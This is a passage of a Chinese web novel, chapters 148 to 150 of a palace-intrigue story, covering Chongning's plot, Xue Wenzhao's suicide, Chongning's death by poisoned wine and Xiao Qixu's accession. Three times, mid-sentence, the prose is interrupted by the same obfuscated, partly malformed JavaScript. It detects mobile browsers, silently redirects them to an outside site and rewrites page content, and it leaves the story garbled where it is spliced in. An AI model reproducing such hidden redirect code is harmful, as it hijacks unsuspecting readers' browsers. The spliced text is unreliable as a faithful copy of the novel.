“为什么,我最后问你一次。” 这时,贺福愿突然笑了,他往前走了一步,由着刀尖划破他颈部的皮肤。 “杀了我,陈京观。” 杀了我,又是这三个字。 陈京观手里的刀没有动,他看着贺福愿一点点将自己的呼吸卷在刀刃上。而贺福愿像是彻底放弃了抵抗,也像是在同陈京观表明自己的态度,在他这里,陈京观一个字也问不出来。 “都去死吧。” 鲜血迎着陈京观的下颌向上飞溅,他眉眼微微颤动,温热的血液顺着他的脖颈往下,一寸寸流到了他心脏的位置。 贺福愿落地的时候声响巨大,如同他将心里积压已久的脾气都在最后一刻还给了崇明殿,还给了南魏,他没了呼吸。 书房的门打开了,陈京观看着崇宁时红了眼,“选他做刀可不聪明,我绝不会死到他前头。” 陈京观说完后神志慢慢回巢,他突然注意到崇宁那件华美的长裙上也是血迹斑斑,他眉眼微皱,侧身避开了帷幔的遮挡。 书房里,那个他只见过一面的女人倒在血泊中,她手里握着父亲临走时又回赠给她的匕首,他望她珍重,望她安澜。 “我没想过他能杀了你,”崇宁将手上的血全擦在了帕子上,她勾起嘴角一步步走过来,“他是我精心挑选的,算是我给你的生日礼物。” 崇宁还记得,今天是陈京观二十三岁的生日。 陈京观双眼失神,望着崇宁的时候几乎要忍不住冲上去掐住她的咽喉,崇宁冷笑一声,缓步朝他走来,“薛雯昭死了,我要换一个棋子了。” “你还记得你只身来崇明殿和萧霖谈条件的情形吗?后来我知道了,我骂他蠢,问他为什么不留下你逼平远军归降朝廷,萧霖没有回答我,我觉得应该从那时起他就怀疑你的身份了。可他想保你,我不想啊,你送走了一队人,又给我带回来了一队人,我要好好谢谢你。” 崇宁话音刚落,殿外等着的军队一拥而上,陈京观在人群里看到了张冲,他拿着刀,刀尖直冲向陈京观的胸口。 “你也想像薛雯昭一样自戕吗?” 崇宁说完这句话的时候顿了顿,有一瞬间陈京观以为自己看错了,崇宁脸上有心疼,也有可惜。 “你不会的,你不会像她一样傻。” 148.看杀卫玠(六) 半个时辰前,崇宁关上书房的门,听着外面的两个人刀尖相撞,她转身看到四平八稳坐在椅子上的薛雯昭。 在崇宁的印象里,眼前的人好像从来没有失态过,无论是当初那一纸婚约送到薛府,还是后来薛磐离京赴任,亦或者萧祺桓被贬槐州,薛雯昭没有一刻表现出对这些事情的不满或恐惧。 正如此时,崇宁的目光聚焦在薛雯昭身上的时候,薛雯昭依旧带着她和煦的微笑问候着崇宁。 “陛下今日请我来这里,不是为了让我看看外面那出戏吗?怎么把门关上了?” 崇宁轻笑一声没有应,她朝着薛雯昭的方向走近了些。 也不知道是不是刚才与陈京观说了太多过去的事情,崇宁望着薛雯昭的时候目光柔情似水,就如同萧霖刚将薛雯昭迎娶进宫的那一日,崇宁拉着薛雯昭的手说了好些话。 “昭昭,你进宫有二十六个年头了吧,你都快成个老人了。” 崇宁唤着薛雯昭的小名,而在睫毛扫下的阴影中,薛雯昭眼里的情愫一闪而过,她勾着嘴角停顿了好久,正当崇宁以为她不会回答时,薛雯昭抬起头看着崇宁,“祎姐姐倒是正当年,比起从前风采依旧。” 祎姐姐,崇宁刚抬起来的步子悬在半空,距离她第一次听到这个称呼,好像已过去三十年了。 那次的春日游园会薛雯昭本不应该出现,只凭薛磐的官位她还不能被划进名单,可那年先帝得了第十九子,正巧还是他最喜欢的嫔妃所出,他一高兴让内司局将所有京官的家眷都请了来。 崇宁估摸着也是那次,萧霖一眼看中了在角落默默无言的薛雯昭。 那时候的薛家小女不过十二三,她瘦瘦小小的影子被挤到了人群最外面,人群中心坐着的是那时的太子,一个刚好到了娶妻年纪的佳婿。 那日到场的适龄女子基本上都被家里安排了任务,她们要努力挤到太子身边,最好能弄出些动静让太子记住她。 这倒也是人之常情,毕竟一条龙只有在潜邸的时候最容易靠近,若是能躺上他的床榻,那将是未来几十年的荣华。可唯独薛雯昭不争不抢,她任由旁人一个又一个挡在她面前,她好似还乐得自在。 等游园会开始后,薛雯昭索性找了个离人群远远的地方,她望着眼前摩肩接踵的人群哑然失笑,身边却突然冒出声响。 “你不去凑凑热闹?若是能被他选进宫去,哪怕先从侍妾做起,等他来日登基了也能混个妃位。” 薛雯昭摇头,十几岁的少女正是如花的年纪,薛磐又只有她一个女儿,从小将她娇养着长大,薛雯昭并不觉得在宫里有什么好,她更喜欢和爹娘在一起。 “你怎么没去?” 薛雯昭没有回答身边人的问题,反而侧身发问道。站在她身边的女子哈哈大笑,薛雯昭不解,那女子就牵着她离开了正厅。 “在这说话方便,”眼前的人开口解释,“既然你也不喜欢吵,那你就在这赏赏花,捱过这两个时辰你爹就能来接你了。” 薛雯昭微微欠身朝眼前的人行礼道谢,等一抬头便开始打量周围的环境。比起前院经过装点后显得有些杂乱的风景,此地的小花园一看就是经过主人精心照料过的,淡雅又不失格局。 “只是我们突然离开,若是前头的大人找不到我们了怎么办?” 眼前的女子笑着摆手,跟着她的随从也识趣地离开了。 “我叫萧娉祎,你可以叫我祎姐姐。” 萧娉祎。薛雯昭猛地抬头,萧,这整个南魏只有他们一户人家能姓萧。 “臣女薛雯昭无意冒犯殿下,还请殿下恕罪。” “我本来就不想说,我就知道我说出来你们都会是这副样子。” 萧娉祎的神色印在薛雯昭眼睛里,她犹豫了一下挺起身,试探着叫了一声“祎姐姐”。 萧娉祎那惊喜的神色薛雯昭这辈子只见过一次,她好像突然被人看见了,不是以南魏公主的身份,而只是以萧娉祎的名字被人认识。 “你喜欢什么花?” 萧娉祎雀跃地拉着薛雯昭逛着她的花园,这是她第一次带着萧霖以外的人来到这里。这地方在崇明殿的最东头,是整个皇宫最僻静的地方,当然也是因为最偏远。 萧娉祎自从十六岁离开亲养署,她就被先帝安排到了这个地方,后来她听人说她母亲从前就是这花园里的花匠,先帝还是皇子时最喜欢来这里,后来他成了皇帝,就再也没来过了。 萧娉祎也不知道为何先帝会将游园会安排在这里,她讨厌外面的人,她更讨厌外面的人糟践她视若珍宝的草木。 可她愿意把这些送给薛雯昭,因为她叫自己祎姐姐。 “茉莉,”薛雯昭看到了墙角那一小丛茉莉花,她用手指着,“就是那个。” 萧娉祎拉着薛雯昭的手走到茉莉花旁,萧娉祎的生母也喜欢茉莉,所以萧娉祎无论什么时候都会留一个角落种上母亲喜欢的花,可她不喜欢。 “茉莉啊,是挺香的,”萧娉祎的语气有一丝遗憾,“可惜其貌不扬,死了还要被人泡茶。” 闻言,薛雯昭转头看崇宁,崇宁一动不动盯着眼前的花,片刻后她摘了一朵别在薛雯昭的头上。 “但是你喜欢就好,等着花期过了我让人摘了送到你府上去。” 薛雯昭却摇头,“谢谢殿下的好意,可我不能要。” “因为是我送的,所以不能要吗?” 崇宁的话里薛雯昭听到了一丝自嘲,薛雯昭应了一句“不是的”,崇宁扭过头静静听她说话。 “您方才说它其貌不扬,我倒也认可,可它香气扑鼻已属不易,若再如杜鹃一般绚烂,怕会被更多人折了去。至于您说的它死了还要被泡水喝,只要我不想,它们就不用。它们绽放过一次了,最后死在自己脚下或许更安逸。” 薛雯昭用手摸了摸耳后的小花,又弯腰摘了一朵给萧娉祎带上。 “反正它总有一死,此时能为我们芳香片刻也是好的。” 萧娉祎的动作滞住了,薛雯昭小小的手替她把散在耳后的头发理好,她闻到了薛雯昭身上的茉莉花香,又或是她身上的,可那已经不重要了。 那日薛雯昭和萧娉祎一直在后院玩到游园会散场,薛磐的声音从前厅传来,薛雯昭忙朝外跑去,她走的时候笑着说“祎姐姐再见”,萧娉祎挥了挥手目送她离开。 直到萧霖与薛雯昭大婚前,她们再也没见过。 后来崇宁每每想起当初答应薛磐时自己是那般果断,或许就是因为那朵茉莉花,那句“祎姐姐”。 不过也是因为薛雯昭的突然出现,崇宁的计划里有了一个叫薛磐的人,她望着薛磐将女儿举过头顶,让她趴在自己的背上,他们谈笑风生,崇宁心里有关夺位的计划拼上了最后一块拼图。 父女俩都是不可多得的良才,崇宁要让他们一个活在前朝替自己说话,一个活在后宫陪自己说话。 只可惜薛雯昭的性子并不像茉莉一样柔和,她倒更像是她口中的杜鹃,她的冷漠逼走了薛磐,她入宫后也再没去过威岚坊。 “这些年在宫里,你怎么都没想着来找我?我的花园还是那样,我种了许多茉莉。” 崇宁回过神,薛雯昭低头看到的的确是杯中绽放的茉莉花,她用手指拨弄着,然后将微微湿润的手指在空中甩了甩。 “你瞧,它像不像是被溺死在了水中?” 薛雯昭又一次避开了崇宁的问题,崇宁沿着她的目光望去,那白玉瓷杯里躺着茉莉花随着水波荡漾,就如同最初那般鲜活。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15383945|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “明明它看起来还和在枝头上的时候一样明媚,可你一眼就能看出来它是死的。” 崇宁觉得薛雯昭说的是她自己,也是她。 “陛下事多繁忙,我怎敢轻易叨扰?不过多年承蒙陛下照拂,才让我与我的孩子活到了现在,臣妾谢过了。” 薛雯昭起身行礼,她半蹲着刚好比崇宁矮一头,崇宁望见她头顶那一根根银丝,看见她头上只带了一根简单的木簪。 “薛雯昭,”崇宁喊着薛雯昭的名字,“你我都身不由己,都是死后还要被人泡水喝的,你真的不懂我吗?” 薛雯昭没有回答,崇宁轻笑一声作罢,她微微抬起薛雯昭的手臂,她感觉两人触碰时薛雯昭下意识收回了自己的手。 “你如今就这么怕我?” 薛雯昭依旧没有回答,崇宁的目光暗淡下来了,正如日渐西斜的暮光,此时她又有心思去听门口的动静了,却发现不知何时门外没了声音。 只一门之隔的两对人像是八卦图上阴阳玄和,屋子的一边是刀光剑影,另一边是暗流涌动,而这一切突然凝滞了。 在薛雯昭将匕首刺向崇宁的时候,崇宁先一步在对面的琉璃上看到了上面反射出的薛雯昭的动作,她猛地向右侧身,薛雯昭扑空了,向前一个踉跄。 “都是四五十的人了,只凭你每日连院门都不出,能杀的了我吗?” 明明崇宁的话里满是嘲讽之意,可她略带颤抖的音调还是出卖了她,她红了眼,眼睛里多了三分失望。 “今日我若不杀你,你要如何用我去逼退城外的大军?你会怎么同桓儿讲今日的陈京观是多么无情无义?你会离间他们,就如同你当日离间我与我父亲。” 薛雯昭的手因为愤怒而微微颤抖,可她的声音依旧不掺杂一丝情绪,崇宁笑着点头,“果然,你们果然把一切都说开了。不过这三十年你们谁都不好过,我也算是满意了。” “可为什么呢?那日我真以为你是这阙州城不可多得的女子,你是这皇宫养不出来的花,我期待着能再一次被叫进宫,”薛雯昭顿了顿,不禁失笑,“当然,不是被圣旨指做皇妃。” 崇宁站在原地没有动,她看着刀尖悬在自己心口,薛雯昭拿着刀的手在颤抖,崇宁也在颤抖。 “因为我不相信这世道有父亲会那般爱自己的女儿,因为我父亲甚至不记得他还有我这女儿,也因为你刚好出现,将薛磐带到了我面前,这理由够充分吗?” 崇宁已经不在乎薛雯昭是怎么看自己的了,她话音刚落就听到薛雯昭喊了一句“疯子”,随即她手里的匕首骤然下落。崇宁往后退避,她伸手将屏风推倒遮挡住了薛雯昭的路线,两个人开始在屋子里周旋。 不知过了多久,这书房里只剩下隐约的喘息声,薛雯昭额角的汗水沿着她的下颌滴落,崇宁望着她狼狈的样子笑着摇头,“我说过,你从来不是我的对手。” “是吗?” 下一秒薛雯昭的匕首出现在了她自己的胸口,那刀尖是薛磐这几十年时常打磨的,刺入人的身体如同划破一张纸,薛雯昭的手没了力气,她穿着的那件青黛色襦裙慢慢绽放出一朵比杜鹃还娇艳的红花。 崇宁依旧站在原地,但是她几乎要站不住了,她向后试探着扶住桌子,她感觉脸上有东西在爬,她感觉心里也有东西在爬。 “活人才能当棋子,你总不能真的用我给陈京观沏一壶茉莉花茶吧?” 薛雯昭气若游丝的声音后,屋外一声巨响,崇宁知道外头应该也分出胜负了。 “接下来呢?你要把我的死推给陈京观吗?我父亲不会信的,我儿子也不会,他们这辈子都会恨透你。” “萧娉祎,”薛雯昭缓缓闭上双眼,“我们下辈子不要再见面了。” 149.看杀卫玠(七) 屋里的薛雯昭安静地躺在地上,屋外的贺福愿微微睁着双眼,陈京观发狠似的紧紧咬着牙,他听到骨头摩擦时发出的“咯咯”声,也听到大门被打开后外面的风啸声。 “你为什么觉得我不会像薛雯昭一样?”陈京观轻笑一声,“你为什么觉得我的命比皇位更值钱?” “因为你活着不容易,为了让你活,死了太多人了。” 崇宁的话如同在陈京观心里那片灰色地带刮起一阵旋风,她太清楚陈京观这恼人的性格了,她太明白眼前人走到今日是凭什么了。 正如她曾经说过的,陈京观无论从哪一方面来看都比不过陈频,可他比陈频多了一分韧劲,也多了一分对痛苦的感知。也是这一分之差,让陈频选择了以死明志,而陈京观选择在痛苦中踟蹰前行。 陈京观缓缓摇头,他的笑在崇宁看起来毛骨悚然,他每朝崇宁走一步,他身边的守卫就逼近他一步,可陈京观始终没有停顿。 这是崇宁今天第二次被人拿刀架在脖子上了,她只觉得荒谬。 凭什么那些大腹便便、脑袋空空的男人能做皇帝,轮到她的时候就成了有违天命?为什么这些人要以一副高高在上的样子来训斥她? 崇宁走到今日问心无愧,她为了让半截入土的南魏活过这些年,她做了自己能做的一切,可她的付出没有一个人记得,他们提起崇宁只会说一句恶毒,一句善妒,一句贪婪。 这不公平。 “陈京观,事到如今没有人能拦我了,你也不例外。你进宫的同时一份信被送到了昌安营,此时元焕应该在想着如何能用最快的速度拿下被你掏空的西芥,而你的好兄弟陆栖野会乖乖听他的话,因为他知道这样才能保住你的命。” “至于江阮,”崇宁不屑地勾起嘴角,“我本就不信他能和我联手,盛州不过是我摆脱萧祺枫的一步死棋。不过如果知道你在我手上,你说他会不会愿意和我心平气和谈条件?到时候你是生是死,就要看谁出的价更高了。” 崇宁表现出十拿九稳的样子,她说罢摆了摆手示意张冲上来绑了陈京观,可一切并没有如她所料,张冲的刀朝着陈京观的方向,但他一动不动地看着陈京观。 “张冲,”崇宁微微皱眉,“你父亲可还在家里等你呢。” 陈京观扭头看着张冲,眼前人临别前的最后那句话还回荡在他耳边,他没想到这么快又见面了,也没想到会是在这样的场合。 “张……” 崇宁刚开口,张冲立刻出声打断了她,他跪倒在崇宁面前俯首道:“陛下,外面已经被陈京观的兵围住了,我们出不去了。” 见崇宁没有反应,张冲继续道:“方才我带着人在崇明殿外守着,远远就听到有兵马嘶鸣的声音,等我定睛再看时,城门破了。” “我进来只是想问一句,我们还反抗吗?” 张冲说完将自己的刀双手捧起递到崇宁面前,崇宁像是还没缓过神,她还没有想明白自己怎么会输,她愣愣看着眼前的张冲,又扭头望着陈京观。 “不可能,他们怎么会不在乎你的死活!” 崇宁咆哮着,说话间就抄起张冲的刀冲向陈京观,可此时的局面倒像是原就在陈京观的意料之内,他僵硬的胳膊松弛了下来,脸上的笑愈发张扬。 “我的命,哪儿有那么值钱啊?” 陈京观笑着摇头,“他们从来不是我的附庸,他们知道什么才是最重要的,什么才是应该做的。没了我,他们依旧还是他们。” …… “我们还要等吗?” 距离陈京观的背影消失在那道铁门之后,已经过去了两个时辰,原本准备在夜里伏击的平远军等到了初升的太阳,战场上横七竖八躺着的尸体表明这里的确打过一场恶仗,可此时像是分处楚河汉界两侧的军队又安静得出奇。 穆晓山周围的士兵在神经松懈后难免染上困意,他们歪坐在马上打着瞌睡,毕竟他们只是奉了沁格的命来帮陈京观打仗,陈京观是死是活他们并不关心。 可队伍最前头的两人不一样,他们像是入定了一般,从陈京观离开后就基本没有变过动作。席英的目光死磕着对方将领,苏清晓则时刻关注着城门的动静。 终于穆晓山忍不住了,他跨过眼前昏昏欲睡的士兵,跑到苏清晓面前问着,而苏清晓的嘴抿成一条直线,他的目光还没有从陈京观离开的方向回来。 “你怎么想?” 片刻后苏清晓转头看着席英,眼前的人眼眸低垂着,她用胳膊上的束带擦掉了剑上的血,再抬头时目光映射出几分寒意。 “都打到这了,我怎么可能退?” 席英仰头看着天光,再有一刻正是日头高悬的时机。 这一夜是她这辈子度过的最漫长的一夜,她觉得若是放在从前,她绝不会放任陈京观自寻死路,可今日不知怎的,陈京观离开得决绝,而她也没有劝阻。 陈京观对苏清晓说的那句话她反复咀嚼,最后她从中解读出陈京观对死亡的期待。 是不是陈频最后也是这副模样?他们都知道自己大概率要死了,却依旧义无反顾。 “苏清晓,”席英开口道,“你怕死吗?” 苏清晓“嗯”了一声,却没敢抬头回应席英的目光。 “今日如果陈京观死了,你会丢下这个烂摊子回你的道观吗?” “不会,”苏清晓一顿,“既然答应了他,无论有没有他我都会让萧祺栩做皇帝。” “那你在等什么?” 苏清晓又顿住了,说实话他也不知道。他知道崇宁不可能回头,可他还是希望陈京观能寻到一线生机,他希望他安然无恙从城门里走出来。 也是在这时,苏清晓彻底理解了苏晋,他当日应该也是这样送陈频离开的,后来陈频没有再回来,苏晋就躲了起来。 苏清晓觉得若没有陈京观按在他身上的这根重担,他也会做出和苏晋一样的选择。 “我喜欢你。” 见苏清晓许久没有回答,席英冷不丁开口,她的声音很小,却还是被苏清晓听到了。 苏清晓惊喜地侧身望她,席英的神色却沉了沉,“可我首先是席英,其次是平远军的将军,然后是陈京观的妹妹,最后才是你的爱人。这样的顺序你可以接受吗?” 苏清晓点头,他望见席英脸上晕起一片红潮,她什么也没有说,只是回头看了看周遭的士兵,看了看她曾经徘徊过的鬼门关。 “那我们说定了,此时进去无论陈京观是生是死,我们的目标只有一个,拿下皇位。等一切结束,你做帝师,我做将军,然后我跟你回家。” 席英说完后没有给苏清晓任何回应的时间,苏清晓见她如猎鹰一般快速俯冲,她一边跑一边呼喊着:“夺阙州,立新帝!” 清晨的迷雾里,席英的声音像是突然洒进来的晨光,那些士兵在半梦半醒时分猛然睁眼,他们还没看清形势,却看清了席英奋不顾身朝前冲的身影。 苏清晓感觉自己在不合时宜的傻笑,很快他努力抑制住自己的嘴角,招呼着穆晓山,号令全军朝崇明殿进发。 “夺阙州,立新帝!” 一声声呐喊中,由西芥士兵临时组成的平远军让席英以为那群人又回来了,她拼命厮杀,看着眼前血流成河,可她也慢慢泪流满面。 他们等这一天等了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15387964|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太久了,失去了太多了,其实席英早就没有力气了,可那些在她脑海中一闪而过的面孔拉扯着她,她举起刀的时候感觉有人在背后为她助力。 “我果然没看错你。” 是平大哥,席英笑着叫他,可平海摆了摆手让她继续前进。 “小家伙,做得不错。” 是董叔,席英一遍遍呼喊着董辉的名字,可董辉笑着再也没有说话。 “我们家那小子好福气。” 是苏大人,席英嘴上念叨着“好久不见”,一瞬后苏晋没了踪影。 “带他回家。” 是温伯父,席英望着他,好像能想到陈京观老了的时候,她笑着说“好”。 还有许多许多人,他们在不远处看着席英,席英从来没有这么幸福过。 和陈京观不一样,席英觉得自己这一路虽然过得苦,还险些好几次丢了性命,可她一直在得到,她收获了她从前想都不敢想的爱。 不知不觉,席英又想到了丛春晓。那一刻,她发誓一定要活着回到西芥,然后带着另一个自己也感受一遍幸福。 这场仗不是席英打过最艰难的一场,比起当初在朔州,亦或者刚结束的盛州之战,拿下阙州可谓是轻而易举。 在西芥兵天然的体型优势下,再加之数倍于敌军的规模,阙州的城门破了。 在推开那扇“无官令者不得入内”的大门时,席英释然地笑了。 三年前她不知道对着守城的士兵磕了多少头,也不知道有多少支箭擦着她的身体飞过,那扇门屹立在她面前岿然不动,她好恨啊,可她浑身上下也只剩一颗充满恨意的心还在跳动。 今日,在她手中宝剑的引领下,她身后的士兵势如破竹,那扇困了她三年的门被她亲手推开了,这阙州从此以后任她行。 “萧祺栩!” 席英转头喊了一声,萧祺栩忙应答道:“在这呢!” 萧祺栩穿过拥挤的人群,和席英并排朝崇明殿走去,苏清晓不知何时出现在他二人身后,他望着意气风发的席英,满心满眼都只有意气风发的席英。 “今日我能挥刀送你入崇明,明日就能乱刀除暴君,我不是陈京观,我对你没有所谓的兄弟情深,我信你,只是因为他信你。萧祺栩,记住今天的一切,我要你做一个堂堂正正为天下人的皇帝!” “好!” 少年脸上是用之不竭的明媚,席英说完这句话后突然松了一口气,她侧身时能看到苏清晓的马紧紧跟在自己身后,她嘴角不经意沁出一抹笑。 “还有,”席英压低声音,“我不希望‘深恩几近仇’的故事在你们俩身上上演,你要知道,我本来就不是什么正人君子,我也不是什么大家闺秀,如果你和他终有反目的那一日,我带来的军队我会全部带走。” 萧祺栩咬着嘴唇嘟囔了一句“知道了”,席英嫌他回答得不够干脆,命令他重新再说一遍。 “知道啦!以后谁敢欺负我的老师,让他先来问问我!” 少年人的话在风中吹向这阙州城的四面八方,也好似飞过了崇明殿的玄窗,陈京观看着失魂落魄的崇宁,心里突然生出一丝怜悯。 “算起来,我也该跟着萧祺栩喊你一句姑姑。” 陈京观的手大力撇开了崇宁颤颤巍巍握着的刀,那把刀落地的同时,崇宁也跟着坐倒在地上。 “姑姑,没有说过女子不可以当皇帝,我见过翱翔在天际的玄鸟,她一点也不比神龙差,可你不该什么都想要。你渴望着亲情,却又亲手送走了所有亲人,你渴望着皇权,可骨子里又看不起自己。这当然不怪你,可你做过的事,你就该受着,这叫因果报应。” 150.看杀卫玠(八) “你为什么这么笃定我不会杀了你?” 崇宁的头发乱了,她几乎在陈京观说完后立刻反问道。那一缕垂在额前的发丝暴露着她的力不从心,陈京观摇头给了她回应,见她不明就里,又解释道:“我不是笃定你,我是笃定他,笃定他们。只凭你杀不掉我,而他们不会杀我。” 即使张冲表现得谨慎,陈京观还看见了他下意识的动作。他进殿后第一件事是确认躺在地上的不是陈京观,第二件事是暗示手下的人不要靠前,直到最后他也只是给崇宁递上了刀。 其实在张冲说他不希望陈京观死的时候,陈京观已经从他的话里听到了转机,也是那一刻陈京观知道老天又救了他一命。 陈京观说着,转头看了张冲一眼,张冲望着陈京观的眼睛目光闪烁。 “在踏进阙州的那一刻我的确做好了赴死的准备,可张冲让我知道我还有活着的希望。和我一样,他也忘不掉夏衍。” 听到夏衍的名字,崇宁的肩膀微微颤抖,那个她一眼挑中的孩子,被她亲手从关策递上来的离城名单里划掉了名字,是她亲手把他推向了死亡。 崇宁冷笑一声,认命似的闭上眼。陈京观却直起身继续道:“人和人之间的关系就是这么有意思,我这条命不知不觉成了他们存在过的记号。我承认我运气真的很好,我很庆幸我能在他们需要我的时候向他们伸出手。” 陈京观觉得,这也是因果报应。 “你和江阮都很聪明,都是这世间难得一见的天才,可即使你们的计划再周密,你们终究是要输的,因为你们猜错了人心。” 陈京观说罢转身向外走去,他路过张冲时恭恭敬敬朝他鞠了一躬,“多谢。” “你要如何处置她?” 陈京观没有回头,张冲却不忍地扭头看了看崇宁。 自打张冲记事起,他总是能从父亲嘴里听到崇宁的名字,这其中当然褒贬不一,可张芳园跟了崇宁小十年,受了她十年的恩惠,张冲又何尝不是在崇宁的庇佑下活到了现在。 要说崇宁有何错,或许错在她识人不清,错在她越陷越深,错在她投错了胎,但她对南魏是真心的,这毋庸置疑。 崇宁这辈子就是运气太差,选的爱人不爱她,选的君主没能力,最后醒悟要靠自己奋力一搏时,却为时已晚。 “她活不了。” 陈京观的声音落下在崇明殿的石岩上掷地有声,他听到崇宁发出一声声凄迷的笑,张冲点头应了一句“我知道”,又犹豫着继续问:“可死法,也有不同。” 从前谋逆者多处以极刑,非若绞杀,便是凌迟。可南魏自温书让撰写《刑文录》后,有了独属于自己的一套刑罚规则。 温书让三十岁任刑部尚书,上任后第一件事就是改了法则,他觉得人之将死,要依其生前种种一并定夺其罪,说白了他还是觉得不能因为好人做了一件坏事就认定他是坏人。 不过陈频死后温书让被贬,他那套想法也就随着《刑文录》的销毁灭绝于世。那日萧霖给陈京观的,或许是这南魏最后一本了。 陈京观眼眸低垂,他似乎能感觉到身后的目光正若即若离地游移在他身上。 按理说,陈京观应该要亲手杀了崇宁的。 “赐鸩酒吧。”陈京观顿了顿,“对外就说长公主因思虑过度病逝在盛州,她的罪,让萧祺枫去背。” 崇宁就这样离开了,她的皇帝梦随着一杯温酒下肚,和她一同葬在了陵寝。 陈京观这小小的手段,替崇宁隐掉了前半生的苦难,也替她淡化了后半生的疯癫。作为代价,南魏的史书撕去了记载“德丰”的那一页,崇宁到死也没有成为皇帝。 某种意义上来说,陈京观选择了比凌迟更让崇宁感觉到痛觉的手段。 陈京观没有再作停留,他推开崇明殿的大门,一阵微风拂面,连带着将殿内的血腥气冲刷得一干二净。 长阶下席英几乎在同一时间看到了他,陈京观见她望着自己有些发愣,他笑了,席英也笑了。 “你命真大。” 苏清晓冲上来抱住陈京观,陈京观听到他的声音略带鼻音。 “也亏得你们当机立断,当时崇宁本来打算挟持我逼你们退兵的,偏偏你们已经打了进来。” “都是席英的决定。” 苏清晓转身看着席英,陈京观却感觉到了两人之间不同以往的眼神,他无奈地叹了一口气,“要不真杀了我给两位助助兴?合着我在里面生死未卜,你们倒是私定终生了?” 苏清晓作势一巴掌拍到了陈京观肩上,陈京观吃痛地叫了一声,“我活着不容易!我刚和别人鏖战一个时辰,我可受不住你这一巴掌了。” “和谁?” 苏清晓的眼神绕过陈京观,他看到一个面生的少年站在陈京观身后。张冲朝苏清晓欠身问好,陈京观用手在他脸前摆了摆,“不是他,是贺福愿。” “贺福愿?他不是投靠了江阮吗?今日的事还与他有关?” 陈京观没有应答,这些问题他也还没有答案,而他此刻不想再想这些了。 贺福愿死了,下一步他就要把崇州抢回来,他要亲口告诉温书让,他不在的这些日子自己都做了什么。 紧接着张冲的手下从崇明殿抬出三张裹着白布的担架,苏清晓略带疑惑地望着陈京观,“还有两个是谁?” “一个是崇宁,她给薛雯昭备的毒酒用在了她身上。还有一个是薛雯昭,她刺杀崇宁不成选择了自戕,为了不让我们难做。” 那两张小床上的人并排从长阶而下,白布遮不住的长裙依旧鲜艳,陈京观看过去的时候,望见了自己替薛磐送的那个簪子。 “停一下。” 陈京观叫住了抬着担架的士兵,他低下头,那簪子的主人就安静地躺在那里。白布掩住了她的面容,散落下来的黑发中偶有银丝几缕。 陈京观原想掀开布再看她一眼,可最后手停在了布上,只是试探着碰了碰她的头发。 “你说,我要怎么同薛大人讲?”陈京观不自觉红了眼眶,“他种了一城的梨花等着你呢。” 苏清晓什么也没说,伸出胳膊搂住了陈京观,他感觉怀里的人颤抖地幅度更大了些,他却心安了。 方才的陈京观不是他认识的陈京观,在这样的场面下陈京观笑不出来的,更何谈与他开玩笑。此时这个濒临崩溃的,才是他认识了二十年的陈京观。 “景豫,我们回家了,我们赢了。” 苏清晓的声音很轻,陈京观低着的头早已泪流满面,他们脚下,穆晓山和萧祺栩高兴得抱作一团,席英遥遥望着他们,又定睛看了看自己手里的剑。 是啊,他们终于赢了。 …… “奉天承运皇帝诏曰:万阳帝六子,仰承天命,嗣登大宝,祇绍鸿图。惟念列圣之艰难,思继先志;当恪守祖宗成宪,聿修厥德;推恩四海,惠泽苍生。务以仁孝治天下,以勤俭率百官,以公正平庶狱,以文武靖四方。布告中外,咸使闻知。共襄盛治,永享升平。钦此!” 万阳二十一年五月初七,萧霖第六子萧祺栩自民间游历归来,率兵平定盛州叛乱,救先帝于危难。其后先帝一病不起,不日卒于阙州,萧祺栩德承大统,改年号顺裕。 这段留在南魏史书上的话是苏清晓看着史官一个字一个字写上去的,史官写完后给他看,他却只觉得讽刺。 当初苏清晓就是因为觉得苏扬和苏晋名不副实而离开了家,如今他成了攥写历史的人,他也选择了为萧祺栩留个好名声。 不过那日苏清晓在盛州行宫和萧祺栩说的他倒是真的都记住了,从那之后萧祺栩再也没有逾矩半步。 而因萧祺栩年纪尚小,苏清晓就作为帝师,成了和他一同听政的人。 “皇上,老臣今年六十又三,到了该让贤于年轻人的岁数了。还望您能准我回家养老,我必日日为您诵经祈福,为南魏之将来祈愿上苍。” 一日上朝,周原任迈着颤颤巍巍的步子走到殿中,他要下跪的时候萧祺栩止住了他的动作,他便躬身请辞,满脸都写着对今时不同往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398847|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日的畏惧。 “周大人是三朝元老了,如今圣上刚即位不久,南魏正是需要您这等德高望重的老人坐镇之际,您怎么能轻易离开?“ 苏清晓微微挑眉,他站在离萧祺栩不远的台阶上,只凭那三级台阶就高出周原任一头。 周原任蔫声道:“皇上身边有苏相这般人才,哪里还需要我在这朝堂上卖弄?” 